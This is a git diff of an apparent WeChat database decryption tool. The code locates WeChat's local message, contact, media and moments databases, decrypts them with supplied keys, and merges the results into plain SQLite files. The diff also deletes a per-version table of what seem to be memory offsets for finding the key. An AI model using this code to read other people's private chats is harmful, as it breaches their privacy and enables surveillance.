elif re.match(r".*MicroMsg.*\.db$", file_name): + src_path = os.path.join(root, file_name) + Micro_p.append(src_path) + elif re.match(r".*FTSMSG.*\.db$", file_name): + src_path = os.path.join(root, file_name) + FTS_p.append(src_path) + elif re.match(r".*MSG.*\.db$", file_name): + src_path = os.path.join(root, file_name) + Msg.append(src_path) + elif re.match(r".*Sns.*\.db$", file_name): + src_path = os.path.join(root, file_name) + Sns_p.append(src_path) + elif re.match(r".*Emotion.*\.db$", file_name): + src_path = os.path.join(root, file_name) + Emotion_p.append(src_path) + Media_p.sort() + Msg.sort() + Micro_p.sort() + # FTS_p.sort() + user_dirs[user] = {"MicroMsg": Micro_p, "Msg": Msg, "MediaMSG": Media_p, "Sns": Sns_p, "Emotion": Emotion_p} + return user_dirs + + +# 解密所有数据库 paths(文件) 到 decrypted_path(目录) +def all_decrypt(keys, paths, decrypted_path): + decrypted_paths = [] + + for key in keys: + for path in paths: + + name = os.path.basename(path) # 文件名 + dtp = os.path.join(decrypted_path, name) # 解密后的路径 + if not decrypt(key, path, dtp): + break + decrypted_paths.append(dtp) + else: # for循环正常结束,没有break + break # 跳出while循环 + else: + return False # while循环正常结束,没有break 解密失败 + return decrypted_paths + + +def merge_copy_msg_db(db_path, save_path): + if isinstance(db_path, list) and len(db_path) == 1: + db_path = db_path[0] + if not os.path.exists(db_path): + raise FileNotFoundError("目录不存在") + shutil.move(db_path, save_path) + + +# 合并相同名称的数据库 +def merge_msg_db(db_path: list, save_path: str, CreateTime: int = 0): # CreateTime: 从这个时间开始的消息 10位时间戳 + + merged_conn = sqlite3.connect(save_path) + merged_cursor = merged_conn.cursor() + + for db_file in db_path: + c_tabels = merged_cursor.execute( + "select tbl_name from sqlite_master where type='table' and tbl_name!='sqlite_sequence'") + tabels_all = c_tabels.fetchall() # 所有表名 + tabels_all = [row[0] for row in tabels_all] + + conn = sqlite3.connect(db_file) + cursor = conn.cursor() + + # 创建表 + if len(tabels_all) < 4: + cursor.execute( + "select tbl_name,sql from sqlite_master where type='table' and tbl_name!='sqlite_sequence'") + c_part = cursor.fetchall() + + for tbl_name, sql in c_part: + if tbl_name in tabels_all: + continue + try: + merged_cursor.execute(sql) + tabels_all.append(tbl_name) + except Exception as e: + print(f"error: {db_file}\n{tbl_name}\n{sql}\n{e}\n**********") + raise e + merged_conn.commit() + + # 写入数据 + for tbl_name in tabels_all: + if tbl_name == "MSG": + MsgSvrIDs = merged_cursor.execute( + f"select MsgSvrID from MSG where CreateTime>{CreateTime} and MsgSvrID!=0").fetchall() + + cursor.execute(f"PRAGMA table_info({tbl_name})") + columns = cursor.fetchall() + columns = [column[1] for column in columns[1:]] + + ex_sql = f"select {','.join(columns)} from {tbl_name} where CreateTime>{CreateTime} and MsgSvrID not in ({','.join([str(MsgSvrID[0]) for MsgSvrID in MsgSvrIDs])})" + cursor.execute(ex_sql) + + insert_sql = f"INSERT INTO {tbl_name} ({','.join(columns)}) VALUES ({','.join(['?' for _ in range(len(columns))])})" + try: + merged_cursor.executemany(insert_sql, cursor.fetchall()) + except Exception as e: + print( + f"error: {db_file}\n{tbl_name}\n{insert_sql}\n{cursor.fetchall()}\n{len(cursor.fetchall())}\n{e}\n**********") + raise e + merged_conn.commit() + else: + ex_sql = f"select * from {tbl_name}" + cursor.execute(ex_sql) + + for r in cursor.fetchall(): + cursor.execute(f"PRAGMA table_info({tbl_name})") + columns = cursor.fetchall() + if len(columns) > 1: + columns = [column[1] for column in columns[1:]] + values = r[1:] + else: + columns = [columns[0][1]] + values = [r[0]] + + query_1 = "select * from " + tbl_name + " where " + columns[0] + "=?" # 查询语句 用于判断是否存在 + c2 = merged_cursor.execute(query_1, values) + if len(c2.fetchall()) > 0: # 已存在 + continue + query = "INSERT INTO " + tbl_name + " (" + ",".join(columns) + ") VALUES (" + ",".join( + ["?" for _ in range(len(values))]) + ")" + + try: + merged_cursor.execute(query, values) + except Exception as e: + print(f"error: {db_file}\n{tbl_name}\n{query}\n{values}\n{len(values)}\n{e}\n**********") + raise e + merged_conn.commit() + + conn.close() + sql = '''delete from MSG where localId in (SELECT localId from MSG + where MsgSvrID != 0 and MsgSvrID in (select MsgSvrID from MSG + where MsgSvrID != 0 GROUP BY MsgSvrID HAVING COUNT(*) > 1) + and localId not in (select min(localId) from MSG + where MsgSvrID != 0 GROUP BY MsgSvrID HAVING COUNT(*) > 1))''' + c = merged_cursor.execute(sql) + merged_conn.commit() + merged_conn.close() + return save_path + + +def merge_media_msg_db(db_path: list, save_path: str): + merged_conn = sqlite3.connect(save_path) + merged_cursor = merged_conn.cursor() + + for db_file in db_path: + + s = "select tbl_name,sql from sqlite_master where type='table' and tbl_name!='sqlite_sequence'" + have_tables = merged_cursor.execute(s).fetchall() + have_tables = [row[0] for row in have_tables] + + conn_part = sqlite3.connect(db_file) + cursor = conn_part.cursor() + + if len(have_tables) < 1: + cursor.execute(s) + table_part = cursor.fetchall() + tblname, sql = table_part[0] + + sql = "CREATE TABLE Media(localId INTEGER PRIMARY KEY AUTOINCREMENT,Key TEXT,Reserved0 INT,Buf BLOB,Reserved1 INT,Reserved2 TEXT)" + try: + merged_cursor.execute(sql) + have_tables.append(tblname) + except Exception as e: + print(f"error: {db_file}\n{tblname}\n{sql}\n{e}\n**********") + raise e + merged_conn.commit() + + for tblname in have_tables: + s = "select Reserved0 from " + tblname + merged_cursor.execute(s) + r0 = merged_cursor.fetchall() + + ex_sql = f"select * from {tblname} where Reserved0 not in ({','.join([str(r[0]) for r in r0])})" + cursor.execute(ex_sql) + data = cursor.fetchall() + + insert_sql = f"INSERT INTO {tblname} (Key,Reserved0,Buf,Reserved1,Reserved2) VALUES ({','.join(['?' for _ in range(5)])})" + try: + merged_cursor.executemany(insert_sql, data) + except Exception as e: + print(f"error: {db_file}\n{tblname}\n{insert_sql}\n{data}\n{len(data)}\n{e}\n**********") + raise e + merged_conn.commit() + conn_part.close() + + merged_conn.close() + return save_path + + +def main(keys: list = None): + decrypted_ROOT = os.path.join(os.getcwd(), "decrypted") + + + user_dirs = get_wechat_db() + for user, db_path in user_dirs.items(): # 遍历用户 + MicroMsgPaths = db_path["MicroMsg"] + MsgPaths = db_path["Msg"] + MediaMSGPaths = db_path["MediaMSG"] + # FTSMSGPaths = db_path["FTSMSG"] + SnsPaths = db_path["Sns"] + EmotionPaths = db_path["Emotion"] + + decrypted_path_tmp = os.path.join(decrypted_ROOT, user, "tmp") # 解密后的目录 + if not os.path.exists(decrypted_path_tmp): + os.makedirs(decrypted_path_tmp) + + MicroMsgDecryptPaths = all_decrypt(keys, MicroMsgPaths, decrypted_path_tmp) + MsgDecryptPaths = all_decrypt(keys, MsgPaths, decrypted_path_tmp) + MediaMSGDecryptPaths = all_decrypt(keys, MediaMSGPaths, decrypted_path_tmp) + SnsDecryptPaths = all_decrypt(keys, SnsPaths, decrypted_path_tmp) + EmotionDecryptPaths = all_decrypt(keys, EmotionPaths, decrypted_path_tmp) + + # 合并数据库 + decrypted_path = os.path.join(decrypted_ROOT, user) # 解密后的目录 + + MicroMsgDbPath = os.path.join(decrypted_path, "MicroMsg.db") + MsgDbPath = os.path.join(decrypted_path, "MSG_all.db") + MediaMSGDbPath = os.path.join(decrypted_path, "MediaMSG_all.db") + SnsDbPath = os.path.join(decrypted_path, "Sns_all.db") + EmmotionDbPath = os.path.join(decrypted_path, "Emotion_all.db") + + merge_copy_msg_db(MicroMsgDecryptPaths, MicroMsgDbPath) + merge_msg_db(MsgDecryptPaths, MsgDbPath, 0) + merge_media_msg_db(MediaMSGDecryptPaths, MediaMSGDbPath) + merge_copy_msg_db(SnsDecryptPaths, SnsDbPath) + merge_copy_msg_db(EmotionDecryptPaths, EmmotionDbPath) + + shutil.rmtree(decrypted_path_tmp) # 删除临时文件 + + + +if __name__ == '__main__': + main() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..1d9b053 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +psutil +pycryptodome +pywin32 diff --git a/version_list.json b/version_list.json deleted file mode 100644 index 7d9584b..0000000 --- a/version_list.json +++ /dev/null @@ -1,303 +0,0 @@ -{ - "3.2.1.154": [ - 328121948, - 328122328, - 328123056, - 328121976, - 328123020 - ], - "3.3.0.115": [ - 31323364, - 31323744, - 31324472, - 31323392, - 31324436 - ], - "3.3.0.84": [ - 31315212, - 31315592, - 31316320, - 31315240, - 31316284 - ], - "3.3.0.93": [ - 31323364, - 31323744, - 31324472, - 31323392, - 31324436 - ], - "3.3.5.34": [ - 30603028, - 30603408, - 30604120, - 30603056, - 30604100 - ], - "3.3.5.42": [ - 30603012, - 30603392, - 30604120, - 30603040, - 30604084 - ], - "3.3.5.46": [ - 30578372, - 30578752, - 30579480, - 30578400, - 30579444 - ], - "3.4.0.37": [ - 31608116, - 31608496, - 31609224, - 31608144, - 31609188 - ], - "3.4.0.38": [ - 31604044, - 31604424, - 31605152, - 31604072, - 31605116 - ], - "3.4.0.50": [ - 31688500, - 31688880, - 31689608, - 31688528, - 31689572 - ], - "3.4.0.54": [ - 31700852, - 31701248, - 31700920, - 31700880, - 31701924 - ], - "3.4.5.27": [ - 32133788, - 32134168, - 32134896, - 32133816, - 32134860 - ], - "3.4.5.45": [ - 32147012, - 32147392, - 32147064, - 32147040, - 32148084 - ], - "3.5.0.20": [ - 35494484, - 35494864, - 35494536, - 35494512, - 35495556 - ], - "3.5.0.29": [ - 35507980, - 35508360, - 35508032, - 35508008, - 35509052 - ], - "3.5.0.33": [ - 35512140, - 35512520, - 35512192, - 35512168, - 35513212 - ], - "3.5.0.39": [ - 35516236, - 35516616, - 35516288, - 35516264, - 35517308 - ], - "3.5.0.42": [ - 35512140, - 35512520, - 35512192, - 35512168, - 35513212 - ], - "3.5.0.44": [ - 35510836, - 35511216, - 35510896, - 35510864, - 35511908 - ], - "3.5.0.46": [ - 35506740, - 35507120, - 35506800, - 35506768, - 35507812 - ], - "3.6.0.18": [ - 35842996, - 35843376, - 35843048, - 35843024, - 35844068 - ], - "3.6.5.7": [ - 35864356, - 35864736, - 35864408, - 35864384, - 35865428 - ], - "3.6.5.16": [ - 35909428, - 35909808, - 35909480, - 35909456, - 35910500 - ], - "3.7.0.26": [ - 37105908, - 37106288, - 37105960, - 37105936, - 37106980 - ], - "3.7.0.29": [ - 37105908, - 37106288, - 37105960, - 37105936, - 37106980 - ], - "3.7.0.30": [ - 37118196, - 37118576, - 37118248, - 37118224, - 37119268 - ], - "3.7.5.11": [ - 37883280, - 37884088, - 37883136, - 37883008, - 37884052 - ], - "3.7.5.23": [ - 37895736, - 37896544, - 37895592, - 37883008, - 37896508 - ], - "3.7.5.27": [ - 37895736, - 37896544, - 37895592, - 37895464, - 37896508 - ], - "3.7.5.31": [ - 37903928, - 37904736, - 37903784, - 37903656, - 37904700 - ], - "3.7.6.24": [ - 38978840, - 38979648, - 38978696, - 38978604, - 38979612 - ], - "3.7.6.29": [ - 38986376, - 38987184, - 38986232, - 38986104, - 38987148 - ], - "3.7.6.44": [ - 39016520, - 39017328, - 39016376, - 38986104, - 39017292 - ], - "3.8.0.31": [ - 46064088, - 46064912, - 46063944, - 38986104, - 46064876 - ], - "3.8.0.33": [ - 46059992, - 46060816, - 46059848, - 38986104, - 46060780 - ], - "3.8.0.41": [ - 46064024, - 46064848, - 46063880, - 38986104, - 46064812 - ], - "3.8.1.26": [ - 46409448, - 46410272, - 46409304, - 38986104, - 46410236 - ], - "3.9.0.28": [ - 48418376, - 48419280, - 48418232, - 38986104, - 48419244 - ], - "3.9.2.23": [ - 50320784, - 50321712, - 50320640, - 38986104, - 50321676 - ], - "3.9.2.26": [ - 50329040, - 50329968, - 50328896, - 38986104, - 50329932 - ], - "3.9.5.91": [ - 61654904, - 61654680, - 61654712, - 38986104, - 61656176 - ], - "3.9.6.19": [ - 61997688, - 61997464, - 61997496, - 38986104, - 61998960 - ], - "3.9.6.33": [ - 62030600, - 62031936, - 62030408, - 38986104, - 62031872 - ] -} \ No newline at end of file